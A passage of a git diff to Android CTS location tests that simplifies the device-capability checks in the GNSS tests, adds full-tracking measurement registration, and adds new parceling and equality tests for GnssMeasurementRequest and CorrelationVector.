- mManager.unregisterGnssNavigationMessageCallback(callback);
- }
-
- private boolean hasGpsFeature() {
- return mContext.getPackageManager().hasSystemFeature(
- PackageManager.FEATURE_LOCATION_GPS);
+ // test deprecated status messages
+ Integer status = capture.getNextStatus(TIMEOUT_MS);
+ assertThat(status).isNotNull();
+ assertThat(status).isEqualTo(GnssNavigationMessage.Callback.STATUS_READY);
+ }
}
}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
index 1e0cd91..9cb5b6a 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
@@ -23,7 +23,6 @@
import android.location.cts.common.TestLocationListener;
import android.location.cts.common.TestLocationManager;
import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
import android.util.Log;
import java.util.ArrayList;
@@ -87,9 +86,7 @@
}
public void testLocationUpdatesAtVariousIntervals() throws Exception {
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
- mTestLocationManager,
- TAG)) {
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
return;
}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java
index a872c49..6ea9477 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java
@@ -22,7 +22,6 @@
import android.location.cts.common.TestLocationListener;
import android.location.cts.common.TestLocationManager;
import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
import android.util.Log;
/**
@@ -67,8 +66,7 @@
*/
public void testAccuracyFields() throws Exception {
// Checks if GPS hardware feature is present, skips test (pass) if not
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N, mTestLocationManager,
- TAG)) {
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
return;
}
@@ -139,8 +137,7 @@
*/
public void testLocationRegularFields() throws Exception {
// Checks if GPS hardware feature is present, skips test (pass) if not
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N, mTestLocationManager,
- TAG)) {
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
return;
}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java
index 6db3d4f..f615d51 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java
@@ -17,6 +17,7 @@
package android.location.cts.gnss;
import android.location.GnssMeasurement;
+import android.location.GnssMeasurementRequest;
import android.location.GnssMeasurementsEvent;
import android.location.GnssStatus;
import android.location.cts.common.GnssTestCase;
@@ -25,7 +26,6 @@
import android.location.cts.common.TestLocationListener;
import android.location.cts.common.TestLocationManager;
import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
import android.util.Log;
import java.util.List;
@@ -36,11 +36,8 @@
* Test steps:
* 1. Register a listener for {@link GnssMeasurementsEvent}s.
* 2. Check {@link GnssMeasurementsEvent} status: if the status is not
- * {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
- * following reasons:
- * 2.1 the device does not support the feature,
- * 2.2 GPS is disabled in the device,
- * 2.3 Location is disabled in the device.
+ * {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped if the device does not
+ * support the feature,
* 3. If at least one {@link GnssMeasurementsEvent} is received, the test will pass.
* 2. If no {@link GnssMeasurementsEvent} are received, then check whether the device is deep indoor.
* This is done by performing the following steps:
@@ -49,10 +46,9 @@
* 2.3 If no {@link GnssStatus} is received this will mean that the device is located
* indoor. Test will be skipped.
* 2.4 If we receive a {@link GnssStatus}, it mean that {@link GnssMeasurementsEvent}s are
- * provided only if the application registers for location updates as well:
- * 2.4.1 The test will pass with a warning for the M release.
- * 2.4.2 The test might fail in a future Android release, when this requirement
- * becomes mandatory.
+ * provided only if the application registers for location updates as well. Since
+ * Android Q, it is mandatory to report GnssMeasurement even if a location has not
+ * yet been reported. Therefore, the test fails.
*/
public class GnssMeasurementRegistrationTest extends GnssTestCase {
@@ -86,9 +82,7 @@
*/
public void testGnssMeasurementRegistration() throws Exception {
// Checks if GPS hardware feature is present, skips test (pass) if not
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
- mTestLocationManager,
- TAG)) {
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
return;
}
@@ -101,26 +95,47 @@
mMeasurementListener = new TestGnssMeasurementListener(TAG, GPS_EVENTS_COUNT);
mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
- mMeasurementListener.await();
- if (!mMeasurementListener.verifyStatus()) {
- // If test is strict verifyStatus will assert conditions are good for further testing.
- // Else this returns false and, we arrive here, and then return from here (pass.)
+ verifyGnssMeasurementsReceived();
+ }
+
+ /**
+ * Test GPS measurements registration with full tracking enabled.
+ */
+ public void testGnssMeasurementRegistration_enableFullTracking() throws Exception {
+ // Checks if GPS hardware feature is present, skips test (pass) if not,
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
return;
}
+ if (TestMeasurementUtil.isAutomotiveDevice(getContext())) {
+ Log.i(TAG, "Test is being skipped because the system has the AUTOMOTIVE feature.");
+ return;
+ }
+
+ // Register for GPS measurements.
+ mMeasurementListener = new TestGnssMeasurementListener(TAG, GPS_EVENTS_COUNT);
+ mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener,
+ new GnssMeasurementRequest.Builder().setFullTracking(true).build());
+
+ verifyGnssMeasurementsReceived();
+ }
+
+ private void verifyGnssMeasurementsReceived() throws InterruptedException {
+ mMeasurementListener.await();
+
List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
if (!events.isEmpty()) {
- // Test passes if we get at least 1 pseudorange.
- Log.i(TAG, "Received GPS measurements. Test Pass.");
- return;
+ // Test passes if we get at least 1 pseudorange.
+ Log.i(TAG, "Received GPS measurements. Test Pass.");
+ return;
}
SoftAssert.failAsWarning(
TAG,
"GPS measurements were not received without registering for location updates. "
- + "Trying again with Location request.");
+ + "Trying again with Location request.");
// Register for location updates.
mLocationListener = new TestLocationListener(EVENTS_COUNT);
@@ -137,6 +152,14 @@
softAssert.assertTrue(
"Did not receive any GnssMeasurement events. Retry outdoors?",
!events.isEmpty());
+
+ softAssert.assertTrue(
+ "Received GnssMeasurement events only when registering for location updates. "
+ + "Since Android Q, device MUST report GNSS measurements, as soon as they"
+ + " are found, even if a location calculated from GPS/GNSS is not yet "
+ + "reported.",
+ events.isEmpty());
+
softAssert.assertAll();
}
}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
index e8c8ab1..20357c1 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
@@ -24,7 +24,6 @@
import android.location.cts.common.TestLocationListener;
import android.location.cts.common.TestLocationManager;
import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
import android.util.Log;
import java.util.HashSet;
@@ -40,12 +39,10 @@
* 3. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
* 3.1 Confirm locations have been found.
* 4. Check {@link GnssMeasurementsEvent} status: if the status is not
- * {@link GnssMeasurementsEvent.Callback#STATUS_READY}, the test will be skipped because
- * one of the following reasons:
- * 4.1 the device does not support the GPS feature,
- * 4.2 GPS Location is disabled in the device and this is CTS (non-verifier)
- * 5. Verify {@link GnssMeasurement}s (all mandatory fields), the test will fail if any of the
- * mandatory fields is not populated or in the expected range.
+ * {@link GnssMeasurementsEvent.Callback#STATUS_READY}, the test will be skipped if the device
+ * does not support the GPS feature.
+ * 5. Verify {@link GnssMeasurement}s (all mandatory fields), the test will fail if any of the
+ * mandatory fields is not populated or in the expected range.
*/
public class GnssMeasurementValuesTest extends GnssTestCase {
@@ -84,9 +81,7 @@
*/
public void testListenForGnssMeasurements() throws Exception {
// Checks if GPS hardware feature is present, skips test (pass) if not
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
- mTestLocationManager,
- TAG)) {
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
return;
}
@@ -118,12 +113,6 @@
Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
- if (!mMeasurementListener.verifyStatus()) {
- // If test is strict and verifyStatus returns false, an assert exception happens and
- // test fails. If test is not strict, we arrive here, and:
- return; // exit (with pass)
- }
-
List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
int eventCount = events.size();
Log.i(TAG, "Number of Gps Event received = " + eventCount);
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java
index 35aaa4d..9acc4af 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java
@@ -22,7 +22,6 @@
import android.location.cts.common.GnssTestCase;
import android.location.cts.common.TestGnssMeasurementListener;
import android.location.cts.common.TestLocationListener;
-import android.os.Build;
import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.location.cts.common.TestUtils;
@@ -50,15 +49,12 @@
* {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
* following reasons:
* 4.1 the device does not support the feature,
- * 4.2 GPS Locaiton is disabled in the device && the test is CTS non-verifier
* 6. Check whether the device is deep indoor. This is done by performing the following steps:
* 4.1 If no {@link GnssStatus} is received this will mean that the device is located
* indoor. The test will be skipped if not strict (CTS or pre-2016.)
* 7. When the device is not indoor, verify that we receive {@link GnssMeasurementsEvent}s before
* a GPS location is calculated, and reported by GPS HAL. If {@link GnssMeasurementsEvent}s are
- * only received after a location update is received:
- * 4.1.1 The test will pass with a warning for the M release.
- * 4.1.2 The test will fail on N with CTS-Verifier & newer (2016+) GPS hardware.
+ * only received after a location update is received, the test will pass with a warning.
* 8. If {@link GnssMeasurementsEvent}s are received: verify all mandatory fields, the test will
* fail if any of the mandatory fields is not populated or in the expected range.
*/
@@ -102,9 +98,7 @@
@AppModeFull(reason = "Requires use of extra LocationManager commands")
public void testGnssMeasurementWhenNoLocation() throws Exception {
// Checks if GPS hardware feature is present, skips test (pass) if not
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
- mTestLocationManager,
- TAG)) {
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
return;
}
@@ -115,13 +109,9 @@
// Set the device in airplane mode so that the GPS assistance data cannot be downloaded.
// This results in GNSS measurements being reported before a location is reported.
- // NOTE: Changing global setting airplane_mode_on is not allowed in CtsVerifier application.
- // Hence, airplane mode is turned on only when this test is run as a regular CTS test
- // and not when it is invoked through CtsVerifier.
- boolean isAirplaneModeOffBeforeTest = true;
// Record the state of the airplane mode before the test so that we can restore it
// after the test.
- isAirplaneModeOffBeforeTest = !TestUtils.isAirplaneModeOn();
+ boolean isAirplaneModeOffBeforeTest = !TestUtils.isAirplaneModeOn();
if (isAirplaneModeOffBeforeTest) {
TestUtils.setAirplaneModeOn(getContext(), true);
}
@@ -145,11 +135,6 @@
mLocationListener = new TestLocationListener(LOCATIONS_COUNT);
mTestLocationManager.requestLocationUpdates(mLocationListener);
- mMeasurementListener.awaitStatus();
- if (!mMeasurementListener.verifyStatus()) {
- return; // exit peacefully (if not already asserted out inside verifyStatus)
- }
-
// Wait for two measurement events - this is better than waiting for a location
// calculation because the test generally completes much faster.
mMeasurementListener.await();
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java
index 0c30cce..3db1325 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java
@@ -25,7 +25,6 @@
import android.location.cts.common.TestLocationListener;
import android.location.cts.common.TestLocationManager;
import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
import android.util.Log;
import java.util.List;
@@ -36,15 +35,9 @@
* Test steps:
* 1. Register a listener for {@link GnssMeasurementsEvent}s and location updates.
* 2. Check {@link GnssMeasurementsEvent} status: if the status is not
- * {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
- * following reasons:
- * 2.1 the device does not support the feature,
- * 2.2 GPS is disabled in the device,
- * // TODO: This is true only for cts, for verifier mode we need to modify
- * TestGnssMeasurementListener to fail the test.
- * 2.3 Location is disabled in the device.
- * 3. If no {@link GnssMeasurementsEvent} is received then test is skipped in cts mode and fails in
- * cts verifier mode.
+ * {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped if the device does not
+ * support the feature,
+ * 3. If no {@link GnssMeasurementsEvent} is received then the test fails.
* 4. Check if one of the received measurements has constellation other than GPS.
*/
public class GnssMeasurementsConstellationTest extends GnssTestCase {
@@ -79,9 +72,7 @@
*/
public void testGnssMultiConstellationSupported() throws Exception {
// Checks if GPS hardware feature is present, skips test (pass) if not
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
- mTestLocationManager,
- TAG)) {
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
return;
}
@@ -99,9 +90,6 @@
mTestLocationManager.requestLocationUpdates(mLocationListener);
mMeasurementListener.await();
- if (!mMeasurementListener.verifyStatus()) {
- return;
- }
List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java
index 9491bda..ee77f36 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java
@@ -22,7 +22,6 @@
import android.location.cts.common.TestLocationListener;
import android.location.cts.common.TestLocationManager;
import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
import android.util.Log;
import java.util.List;
@@ -89,9 +88,7 @@
*/
public void testGnssNavigationMessageRegistration() throws Exception {
// Checks if GPS hardware feature is present, skips test (pass) if not
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
- mTestLocationManager,
- TAG)) {
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
return;
}
@@ -106,7 +103,10 @@
mTestLocationManager.registerGnssNavigationMessageCallback(mTestGnssNavigationMessageListener);
mTestGnssNavigationMessageListener.await();
- if (!mTestGnssNavigationMessageListener.verifyState()) {
+
+ if (!mTestLocationManager.getLocationManager().getGnssCapabilities()
+ .hasNavigationMessages()) {
+ Log.i(TAG, "Skip the test since NavigationMessage is not supported.");
return;
}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java
index 246df43..0cf7e25 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java
@@ -22,7 +22,6 @@
import android.location.cts.common.TestLocationListener;
import android.location.cts.common.TestLocationManager;
import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
import android.os.Parcel;
import android.util.Log;
@@ -78,9 +77,7 @@
*/
public void testGnssNavigationMessageMandatoryFieldRanges() throws Exception {
// Checks if GPS hardware feature is present, skips test (pass) if not
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
- mTestLocationManager,
- TAG)) {
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
return;
}
@@ -100,9 +97,12 @@
boolean success = mTestGnssNavigationMessageListener.await();
- if (!mTestGnssNavigationMessageListener.verifyState()) {
+ if (!mTestLocationManager.getLocationManager().getGnssCapabilities()
+ .hasNavigationMessages()) {
+ Log.i(TAG, "Skip the test since NavigationMessage is not supported.");
return;
}
+
SoftAssert softAssert = new SoftAssert(TAG);
softAssert.assertTrue(
"Time elapsed without getting enough navigation messages."
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
index 2b8509e..db2e424 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
@@ -27,7 +27,6 @@
import android.location.cts.common.TestLocationManager;
import android.location.cts.common.TestMeasurementUtil;
import android.location.cts.gnss.pseudorange.PseudorangePositionVelocityFromRealTimeEvents;
-import android.os.Build;
import android.platform.test.annotations.AppModeFull;
import android.util.Log;
@@ -110,9 +109,7 @@
@CddTest(requirement="7.3.3")
public void testPseudorangeValue() throws Exception {
// Checks if Gnss hardware feature is present, skips test (pass) if not
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
- mTestLocationManager,
- TAG)) {
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
return;
}
@@ -139,11 +136,6 @@
Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
- if (!mMeasurementListener.verifyStatus()) {
- // If verifyStatus returns false, an assert exception happens and test fails.
- return; // exit (with pass)
- }
-
List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
int eventCount = events.size();
Log.i(TAG, "Number of GNSS measurement events received = " + eventCount);
@@ -261,9 +253,7 @@
@RequiresDevice // emulated devices do not support real measurements so far.
public void testPseudoPosition() throws Exception {
// Checks if Gnss hardware feature is present, skips test (pass) if not
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
- mTestLocationManager,
- TAG)) {
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
return;
}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
index 27467db..e23dd84 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
@@ -6,7 +6,6 @@
import android.location.cts.common.TestLocationListener;
import android.location.cts.common.TestLocationManager;
import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
import android.util.Log;
public class GnssStatusTest extends GnssTestCase {
@@ -26,8 +25,7 @@
*/
public void testGnssStatusChanges() throws Exception {
// Checks if GPS hardware feature is present, skips test (pass) if not
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N, mTestLocationManager,
- TAG)) {
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
return;
}
@@ -65,8 +63,7 @@
*/
public void testGnssStatusValues() throws InterruptedException {
// Checks if GPS hardware feature is present, skips test (pass) if not
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N, mTestLocationManager,
- TAG)) {
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
return;
}
SoftAssert softAssert = new SoftAssert(TAG);
diff --git a/tests/location/location_none/src/android/location/cts/none/GnssMeasurementRequestTest.java b/tests/location/location_none/src/android/location/cts/none/GnssMeasurementRequestTest.java
new file mode 100644
index 0000000..feb44d8
--- /dev/null
+++ b/tests/location/location_none/src/android/location/cts/none/GnssMeasurementRequestTest.java
@@ -0,0 +1,63 @@
+package android.location.cts.none;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.location.GnssMeasurementRequest;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests fundamental functionality of {@link GnssMeasurementRequest} class. This includes writing
+ * and reading from parcel, and verifying computed values and getters.
+ */
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementRequestTest {
+
+ private GnssMeasurementRequest getTestGnssMeasurementRequest(boolean fullTracking) {
+ GnssMeasurementRequest.Builder builder = new GnssMeasurementRequest.Builder();
+ builder.setFullTracking(fullTracking);
+ return builder.build();
+ }
+
+ @Test
+ public void testGetValues() {
+ GnssMeasurementRequest request1 = getTestGnssMeasurementRequest(true);
+ assertTrue(request1.isFullTracking());
+ GnssMeasurementRequest request2 = getTestGnssMeasurementRequest(false);
+ assertFalse(request2.isFullTracking());
+ }
+
+ @Test
+ public void testDescribeContents() {
+ GnssMeasurementRequest request = getTestGnssMeasurementRequest(true);
+ assertEquals(request.describeContents(), 0);
+ }
+
+ @Test
+ public void testWriteToParcel() {
+ GnssMeasurementRequest request = getTestGnssMeasurementRequest(true);
+
+ Parcel parcel = Parcel.obtain();
+ request.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ GnssMeasurementRequest fromParcel = GnssMeasurementRequest.CREATOR.createFromParcel(parcel);
+
+ assertEquals(request, fromParcel);
+ }
+
+ @Test
+ public void testEquals() {
+ GnssMeasurementRequest request1 = getTestGnssMeasurementRequest(true);
+ GnssMeasurementRequest request2 = new GnssMeasurementRequest.Builder(request1).build();
+ GnssMeasurementRequest request3 = getTestGnssMeasurementRequest(false);
+ assertEquals(request1, request2);
+ assertNotEquals(request3, request2);
+ }
+}
diff --git a/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java b/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java
index c01b37c..854e3ba 100644
--- a/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java
+++ b/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java
@@ -16,6 +16,8 @@
package android.location.cts.none;
+import static com.google.common.truth.Truth.assertThat;
+
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.fail;
@@ -100,20 +102,6 @@
}
@Test
- public void testGetProvider() {
- for (String provider : mLocationManager.getAllProviders()) {
- mLocationManager.getProvider(provider);
- }
- }
-
- @Test
- public void testIsProviderEnabled() {
- for (String provider : mLocationManager.getAllProviders()) {
- mLocationManager.isProviderEnabled(provider);
- }
- }
-
- @Test
public void testAddTestProvider() {
for (String provider : mLocationManager.getAllProviders()) {
try {
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/CorrelationVectorTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/CorrelationVectorTest.java
new file mode 100644
index 0000000..b14ac96
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/CorrelationVectorTest.java
@@ -0,0 +1,85 @@
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+
+import android.location.CorrelationVector;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests fundamental functionality of CorrelationVector class. This includes writing and reading
+ * from parcel, and verifying computed values and getters.
+ */
+@RunWith(AndroidJUnit4.class)
+public class CorrelationVectorTest {
+
+ private static final double PRECISION = 0.0001;
+ private static final int[] MAGNITUDE_ARRAY = new int[] {0, 5000, 10000, 5000, 0, 0, 3000, 0};
+ private static final int[] MAGNITUDE_ARRAY2 = new int[] {0, 3000, 10000, 5000, 0, 0, 3000, 0};
+
+ @Test
+ public void testCorrelationVectorDescribeContents() {
+ CorrelationVector correlationVector = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+ assertEquals(0, correlationVector.describeContents());
+ }
+
+ @Test
+ public void testCorrelationVectorWriteToParcel() {
+ CorrelationVector correlationVector = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+ Parcel parcel = Parcel.obtain();
+ correlationVector.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ CorrelationVector newCorrelationVector = CorrelationVector.CREATOR.createFromParcel(parcel);
+ verifyCorrelationVectorValuesAndGetters(newCorrelationVector);
+ parcel.recycle();
+ }
+
+ @Test
+ public void testCreateCorrelationVectorAndGetValues() {
+ CorrelationVector correlationVector = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+ verifyCorrelationVectorValuesAndGetters(correlationVector);
+ }
+
+ @Test
+ public void testEquals() {
+ CorrelationVector correlationVector1 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+ CorrelationVector correlationVector2 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+ CorrelationVector correlationVector3 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY2);
+ assertEquals(correlationVector1, correlationVector2);
+ assertNotEquals(correlationVector1, correlationVector3);
+ }
+
+ @Test
+ public void testHashCode() {
+ CorrelationVector correlationVector1 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+ CorrelationVector correlationVector2 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+ CorrelationVector correlationVector3 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY2);
+ assertEquals(correlationVector1.hashCode(), correlationVector2.hashCode());
+ assertNotEquals(correlationVector1.hashCode(), correlationVector3.hashCode());
+ }
+
+ private static void verifyCorrelationVectorValuesAndGetters(
+ CorrelationVector correlationVector) {
+ assertEquals(30d, correlationVector.getSamplingWidthMeters(), PRECISION);
+ assertEquals(10d, correlationVector.getSamplingStartMeters(), PRECISION);
+ assertEquals(10, correlationVector.getFrequencyOffsetMetersPerSecond());
+ assertArrayEquals(MAGNITUDE_ARRAY, correlationVector.getMagnitude());
+ }
+
+ private static CorrelationVector createTestCorrelationVector(
+ double samplingWidthMeters, double samplingStartMeters,
+ int frequencyOffsetMetersPerSecond, int[] magnitude) {
+ return new CorrelationVector.Builder()
+ .setSamplingWidthMeters(samplingWidthMeters)
+ .setSamplingStartMeters(samplingStartMeters)
+ .setFrequencyOffsetMetersPerSecond(frequencyOffsetMetersPerSecond)
+ .setMagnitude(magnitude)
+ .build();
+ }
+}
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssLocationValuesTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssLocationValuesTest.java
index fc5481e..93a6640 100644
--- a/tests/location/location_privileged/src/android/location/cts/privileged/GnssLocationValuesTest.java
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssLocationValuesTest.java
@@ -24,9 +24,12 @@
import android.location.cts.common.TestLocationManager;
import android.location.cts.common.TestMeasurementUtil;
import android.os.Build;
+import android.util.Log;
import androidx.test.InstrumentationRegistry;
+import org.junit.Assert;
+
/**
* Test the {@link Location} values.
*
@@ -67,26 +70,46 @@
}
/**
- * 1. Get GNSS locations in low power mode.
- * 2. Check whether all fields' value make sense.
+ * 1. Get regular GNSS locations to warm up the engine.
+ * 2. Get low-power GNSS locations.
+ * 3. Check whether all fields' value make sense.
*/
public void testLowPowerModeGnssLocation() throws Exception {
// Checks if GPS hardware feature is present, skips test (pass) if not,
- // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(MIN_ANDROID_SDK_VERSION_REQUIRED,
- mTestLocationManager, TAG)) {
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
return;
}
+
+ // Get regular GNSS locations to warm up the engine.
+ waitForRegularGnssLocations();
+
mTestLocationManager.requestLowPowerModeGnssLocationUpdates(5000, mLocationListener);
- waitAndValidateLocation();
+ waitAndValidateLowPowerLocations();
}
- private void waitAndValidateLocation() throws InterruptedException {
+
+ private void waitForRegularGnssLocations() throws InterruptedException {
+ TestLocationListener locationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+ mTestLocationManager.requestLocationUpdates(locationListener);
+ boolean success = locationListener.await();
+ mTestLocationManager.removeLocationUpdates(locationListener);
+
+ if (success) {
+ Log.i(TAG, "Successfully received " + LOCATION_TO_COLLECT_COUNT
+ + " regular GNSS locations.");
+ }
+
+ Assert.assertTrue("Time elapsed without getting enough regular GNSS locations."
+ + " Possibly, the test has been run deep indoors."
+ + " Consider retrying test outdoors.", success);
+ }
+
+ private void waitAndValidateLowPowerLocations() throws InterruptedException {
boolean success = mLocationListener.await();
